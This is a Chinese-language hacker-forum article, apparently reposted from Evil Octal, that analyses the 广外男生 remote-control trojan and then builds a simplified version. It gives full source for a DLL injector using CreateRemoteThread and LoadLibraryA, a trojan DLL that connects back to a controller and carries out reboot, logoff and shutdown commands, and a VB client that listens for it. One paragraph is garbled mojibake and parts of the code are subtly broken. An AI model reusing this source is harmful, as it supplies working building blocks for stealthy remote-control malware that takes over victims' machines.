广外男生病毒代码剖析
本文来自邪恶八进制
广外男生是广外程序员网络(前广外女生网络小组)精心制作的一款远程控制软件,是一个专业级的远程控制以及网络监控工具。
而广外男生除了具有一般普通木马应该具有的特点以外,还具备独有的特色:
1.客户端高度模仿WINDOWS资源管理器:除了全面支持访问远程服务端的文件系统,也同时支持通过对方的“网上邻居"访问对方内部网其他机器的共享资源!
2.强大的文件操作功能:可以对远程机器进行建立文件夹,整个文件夹(连子目录,文件)一次删除,支持多选的上传,下载等基本功能。同时特别支持高速远程文件查找,而且可对查找结果进行下载和删除的操作!
3.运用了"反弹端口原理"与"线程插入"技术:使用了目前流行的反弹端口的木马技术,由服务端主动连接客户端,因此在互联网上可以访问到局域网里通过 NAT 代理(透明代理)上网的电脑,轻松穿过防火墙(包括:包过滤型及代理型防火墙)。
广外男生外观比较漂亮(哈,人家毕竟是专门做木马的,^_^),笔者最近初步研究了一下这个较新的木马!按照帮助文件配置了木马,在自己的PC上作实验了……
广外男生隐藏了服务端,只有运行服务端时,服务端的进程会短时暴露在任务管理器下,不过是一闪而过!根据广外男生的配置,我们可以知道是它运用了DLL注入到远程进程里面!利用dll插入线程寄生到Windows系统进程(如explorer)中,本身没有单独进程。我们利用注册表监测工具查到复制自身到system32目录下,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加自己,复制寄生到进程的一个DLL到system32目录下,随机写入注册表,位置不固定,重启之后随系统进程启动自身。所以手工查杀很麻烦!DLL之所以位置不固定是由于WINDOWS的原因,DLL是被注册到WINDOWS里, 手工注册可以使用regsvr32命令注册,程序也可以实现,不过不在本文讨论范围内。至于端口反弹,很简单,就是服务端连接客户端。广外男生有两种连接 方式,一种是面向固定IP的,另一种是面向动态IP的。面向固定IP没什么技术可言,服务端直接连接客户端。面向动态IP的通过中间的代理(因为它的IP 是固定的),相当于我们使用的肉鸡,通过配置客户端,生成一个HTM的页面,当然数据是经过加密的。服务端每次启动尝试获取这个文件,把里面的内容解密得 到用户最新的IP和连接的端口。主要的代码如下:
char *request="GET /guestbook.htm"; //广外男生默认的生成页面
char buffer[2000];
destSockAddr.sin_family = AF_INET;
destSockAddr.sin_port=htons(80);
deskSocketAddr.Sin_Addr.S_Addr= inet_addr(DEST_IP_ADDR); //代理的IP
destSocket=socket(AF_INET,SOCK_STREAM,0);
connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr));
send(destSocket,request,strlen(request)+1,0);
recv(destSocket,buffer,2000,0);(续)
buffer里就是整个guestbook的内容,当然包括HTTP头部,可以分析里面的内容得到客户机的详细情况!
知道了它的原理,它的神秘面纱很快就被揭开了!我们完全能够用编程实现。为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的 基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。运行 DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中 的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌 入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌 入。远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。程序的关键是利用Kernel32.dll中的 LoadLibraryA(W)API获取动态链接库函数入口地址,然后运行该地址以后的代码!由于在主 汤锎唇 嗽冻滔叱蹋 冻滔叱滩凰孀胖鹘 痰乃劳龆 劳觯 挥械彼拗魉劳鍪毕叱滩呕嵬V乖诵校≡诓迦朐断叱讨 氨匦胗蠸E_DEBUG_NAME权限才能插入远线程!OK,我们下面用代码来实现!
/*********************************************
* inject.c =>inject.exe
* Author: leonshoh Wong
********************************************/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
HANDLE hRemoteThread,hRemoteProcess;
DWORD dwRemoteProcessid;
PWSTR pszLibFileRemote=NULL;
DWORD ProcesstoPid(char *pid) //查找指定进程的PID(Process ID)
{
HANDLE hProcessSnap=NULL;
char buffer[MAX_PATH];
PROCESSENTRY32 pe32={0};
int i;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //打开进程快照
if(hProcessSnap==(HANDLE)-1)
{
printf("\nCreateToolhelp32Snapshot() Error: %d",GetLastError());
return 0;
}
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap,&pe32)) //开始枚举进程
{
do
{
strcpy(buffer,pe32.szExeFile);
for(i=strlen(buffer);i>0;i--) //截取进程名
if(buffer=='\\')
break;
if(!strcmp(pid,&buffer)) //判断是否和提供的进程名相等,是,返回进程的ID
return pe32.th32ProcessID;
}
while(Process32Next(hProcessSnap,&pe32)); //继续枚举进程
}
else
{
printf("\nProcess32First() Error: %d",GetLastError());
return 0;
}
CloseHandle(hProcessSnap); //关闭系统进程快照的句柄
return 0;
}
BOOL SetPrivilege() //本函数用于提升权限,提升到SE_DEBUG_NAME
{
TOKEN_PRIVILEGES tkp;
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) //打开当前进程失败
return FALSE;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid); //查看当前权限
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); //调整权限,如上设置
return TRUE;
}
int main()
{
int cb;
PTHREAD_START_ROUTINE pfnstartaddr;
DWORD Threadid=0;
char pszlibfilename[MAX_PATH];
dwRemoteProcessid=ProcesstoPid("notepad.exe"); //得到记事本的PID,当然也可以得到EXPLORER.EXE的PID,不过除非结束它的进程,不然一直驻留在内存中!
GetCurrentDirectory(MAX_PATH,pszlibfilename); //得到当前的目录路径
if(pszlibfilename[strlen(pszlibfilename)-1]!='\\') //判断是否为根目录
strcat(pszlibfilename,"file://Trojan.dll/");
else
strcat(pszlibfilename,"Trojan.dll"); //连接要插入的动态连接库的文件名(这里是Trojan.dll)
if(!SetPrivilege())
{
printf("Error in SetPrivilege(): %d\n",GetLastError());
return 1;
}
hRemoteProcess=OpenProcess(PROCESS_Create_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,FALSE,dwRemoteProcessid); //打开notepad.exe的进程得到进程句柄,注意第一个参数(打开句柄设置的权限)
if(!hRemoteProcess)
{
printf("Remote Process not Exist or Access Denied\n");
return -1;
}
cb=(1+strlen(pszlibfilename))*sizeof(char); //计算dll文件名长度
pszLibFileRemote=VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE); //申请存放文件名的空间
if(!pszLibFileRemote)
{
printf("VirtualAllocEx() Error: %d",GetLastError());
return -1;
}
if(!WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(PVOID)pszlibfilename,cb,NULL)) //把dll文件名写入申请的空间
{
printf("WriteProcessMemory() Error: %d",GetLastError());
return -1;
}
pfnstartaddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),"LoadLibraryA"); //获取动态链接库函数地址
if(!pfnstartaddr)
{
printf("GetProcAddress() Error: %d\n",GetLastError());
return -1;
}
hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnstartaddr,pszLibFileRemote,0,&Threadid); //创建远程线程,以DLL的文件名为远线程的参数
printf("inject successfully\n");
if(!hRemoteThread)
{
printf("CreateRemoteThread() Error: %d\n",GetLastError());
return -1;
}
WaitForSingleObject(hRemoteThread,INFINITE); //等待,其实可以设置一个超时值,这里是无限等待,这句一定要写,不写就要出错,我已经试过了
if(pszLibFileRemote!=NULL) //以下是清理过程,不必多讲了!
{
VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE);
}
if(hRemoteThread !=NULL)
{
CloseHandle(hRemoteThread);
}
if(hRemoteProcess!=NULL)
{
CloseHandle(hRemoteProcess);
}
printf("\nDone!");
return 0;
}
好 了,把插入的程序写完了,很简单吧!如果感到有点麻烦的话,请准备一本WINAPI的参考手册,以备随时查看。下面我们写一个具有初步木马功能的特洛伊动 态连接库。呵呵,还具有端口反弹!用来测试注入程序的正确!这里我们只是用来测试,服务端是用单个线程的,只能连接一次,当然你可以重启服务端!
// Trojan.cpp : Defines the entry point for the DLL application.
/***************************************************************
* Trojan.c=>Trojan.dll
* Author:leonshoh Wong
* E-mail:leonshoh@hackbase.net
***************************************************************/
#include <windows.h>
#include <winsock.h>
#define NO_FLAGS_SET 0
#define PORT 80 //远程的连接端口(一般HTTP隧道技术都用这个端口)
#define DEST_IP_ADDR "127.0.0.1" //要连接的远程IP(这里用自己当肉鸡了)
int StartSocket();
void recy(char *,int);
void docmd(char *);
BOOL EnablePrivilege(LPTSTR);
void ShowError(char *function) //提示错误的函数
{
char buffer[MAX_PATH];
memset(buffer,0x0,MAX_PATH);
wsprintf(buffer,"%s Error: %d",function,GetLastError());
MessageBox(NULL,buffer,"Error",MB_OK);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) //动态连接库的入口,相当于main()函数
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DWORD id;
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartSocket,NULL,0,&id);
break;
}
default:
break;
}
return TRUE;
}
int StartSocket()
{
char buffer[25000]; //缓冲区(要足够大,避免缓冲区溢出)
WSADATA Data;
SOCKADDR_IN destSockAddr;
SOCKET destSocket;
unsigned long destAddr;
int status,numsnt;
MessageBox(NULL,"The Dll Injected Successfully!","Success",MB_OK); //提示线程注入代码以成功运行!
status=WSAStartup(MAKEWORD(1,1),&Data); //启动WINSOCK,这里我们用的版本是1.1,反正一样,WINSOCK向下是兼容的
if(status)
{
ShowError("WSAStartup()");
return 1;
}
destAddr=inet_addr(DEST_IP_ADDR);
memcpy(&destSockAddr.sin_addr,&destAddr,sizeof(destAddr));
destSockAddr.sin_family = AF_INET; //这里是Internet
destSockAddr.sin_port =htons(PORT); //在结构里写入端口
destSocket=socket(AF_INET,SOCK_STREAM,0); //建立SOCKET
if(destSocket==INVALID_SOCKET)
{
ShowError("socket()");
return 1;
}
do
{
status=connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr));
Sleep(250);
}
while(status==SOCKET_ERROR); //每隔250毫秒,连接客户端,如果连上就继续
while(TRUE)
{
numsnt=recv(destSocket,buffer,strlen(buffer)+1,NO_FLAGS_SET); //接受客户端发来的命令
buffer[numsnt]=0x0;
recy(buffer,numsnt); //解析并执行命令
Sleep(100);
}
return TRUE;
}
void recy(char *cmd,int num)
{
char buffer[25000];
strcpy(buffer,cmd);
buffer[num+1]=0x0;
buffer[3]=0x0;
if(!strcmp(buffer,"cmd")) //比较命令,如果是指令,交给docmd()函数处理
docmd(&cmd[4]);
if(!strcmp(buffer,"msg")) //如果是消息,则显示消息
MessageBox(NULL,&buffer[4],"Alert",MB_OK);
}
BOOL EnablePrivilege(LPTSTR privilege) //提升权限(NT,2K下程序要有足够的权限才能关机)
{
HANDLE token;
LUID luid;
TOKEN_PRIVILEGES tokenPrivileges;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&token))
{
ShowError("OpenProcessToken()");
return FALSE;
}
if(!LookupPrivilegeValue(0,privilege,&luid))
{
ShowError("LookupPrivilegeValue()");
return FALSE;
}
tokenPrivileges.PrivilegeCount =1;
tokenPrivileges.Privileges[0].Luid=luid;
tokenPrivileges.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token,FALSE,&tokenPrivileges,0,0,0);
return TRUE;
}
void docmd(char *cmd)
{
if(!strcmp(cmd,"reboot")) //重启计算机
{
if(EnablePrivilege(SE_SHUTDOWN_NAME))
ExitWindowsEx(EWX_REBOOT,0);
}
if(!strcmp(cmd,"logoff")) //注销
{
if(EnablePrivilege(SE_SHUTDOWN_NAME))
ExitWindowsEx(EWX_LOGOFF,0);
}
if(!strcmp(cmd,"showdown")) //关机
{
if(EnablePrivilege(SE_SHUTDOWN_NAME))
ExitWindowsEx(EWX_FORCE,0);
}
}
好了,服务端也写好了,我们来测试一下,注意:把EXE和DLL文件放在同一目录下,执行inject.exe,如图3显示:
是 不是还少了什么?是呀,客户端,没有客户端怎么控制??也许有人会讲向蓝色火焰一样的木马是可以用telnet连接,不用开发方的客户端,不过这个是端口 反弹的木马,不能用客户端去连接服务端。不过,很快,我们用大家都很熟悉的VB写一个客户端,呵呵,用上WINSOCK控件,几句话就解决问题了,好了, 开工了!
/*************************************************************
‘* This is the Client of Trojan
‘* Author:leonshoh
‘* E-mail:leonshoh2236@hotmail.com
‘*************************************************************/
Private Sub Form_Load()
logoff.Enabled = False ‘//把所有的按钮控件在连接前设为不可用,避免出错
reboot.Enabled = False
shutdown.Enabled = False
send.Enabled = False
socket.LocalProt = 80 ‘//在80端口监听
socket.Listen ‘//开始监听
End Sub
Private Sub logoff_Click()
socket.SendData "cmd_logoff"
End Sub
Private Sub reboot_Click()
socket.SendData "cmd_reboot"
End Sub
Private Sub send_Click()
socket.SendData "msg_" & Text1.Text
Text1.Text = "" ‘//发完一次消息清空文本框
End Sub
Private Sub shutdown_Click()
socket.SendData "cmd_shutdown"
End Sub ‘//以上是发送命令到服务端,转交服务端执行
Private Sub socket_ConnectionRequest(ByVal requestID As Long)
If socket.State <> sckClosed Then ‘//接到请求后检查状态,如果socket没有关闭,则关闭
socket.Close
End If
socket.Accept requested ‘//接受客户端请求
MsgBox "The Trojan has connected", vbOKOnly, "Alert" ‘//提示已经连上
logoff.Enabled = True
reboot.Enabled = True
shutdown.Enabled = True
send.Enabled = True //恢复按钮,为可用
End Sub
好,我们执行一下写的所有程式,先运行inject.exe再运行Client.exe。看,服务端连上来了,成功了!(图4)
好了,一个简单的DLL注入和端口反弹的木马就实现了!当然,一个强大的木马有很强大的功能,实现这些功能需要懂得很多系统编程方面的细节,具体可以看shotgun的《揭开木马神秘面纱》,对我们很有启发!这里我就不在重复里面的内容了!
这里,我不是鼓励大家去写木马,而是想说明神秘面纱背后其实也不过如此,由于本人技术有限,错误再所难免,请大家指教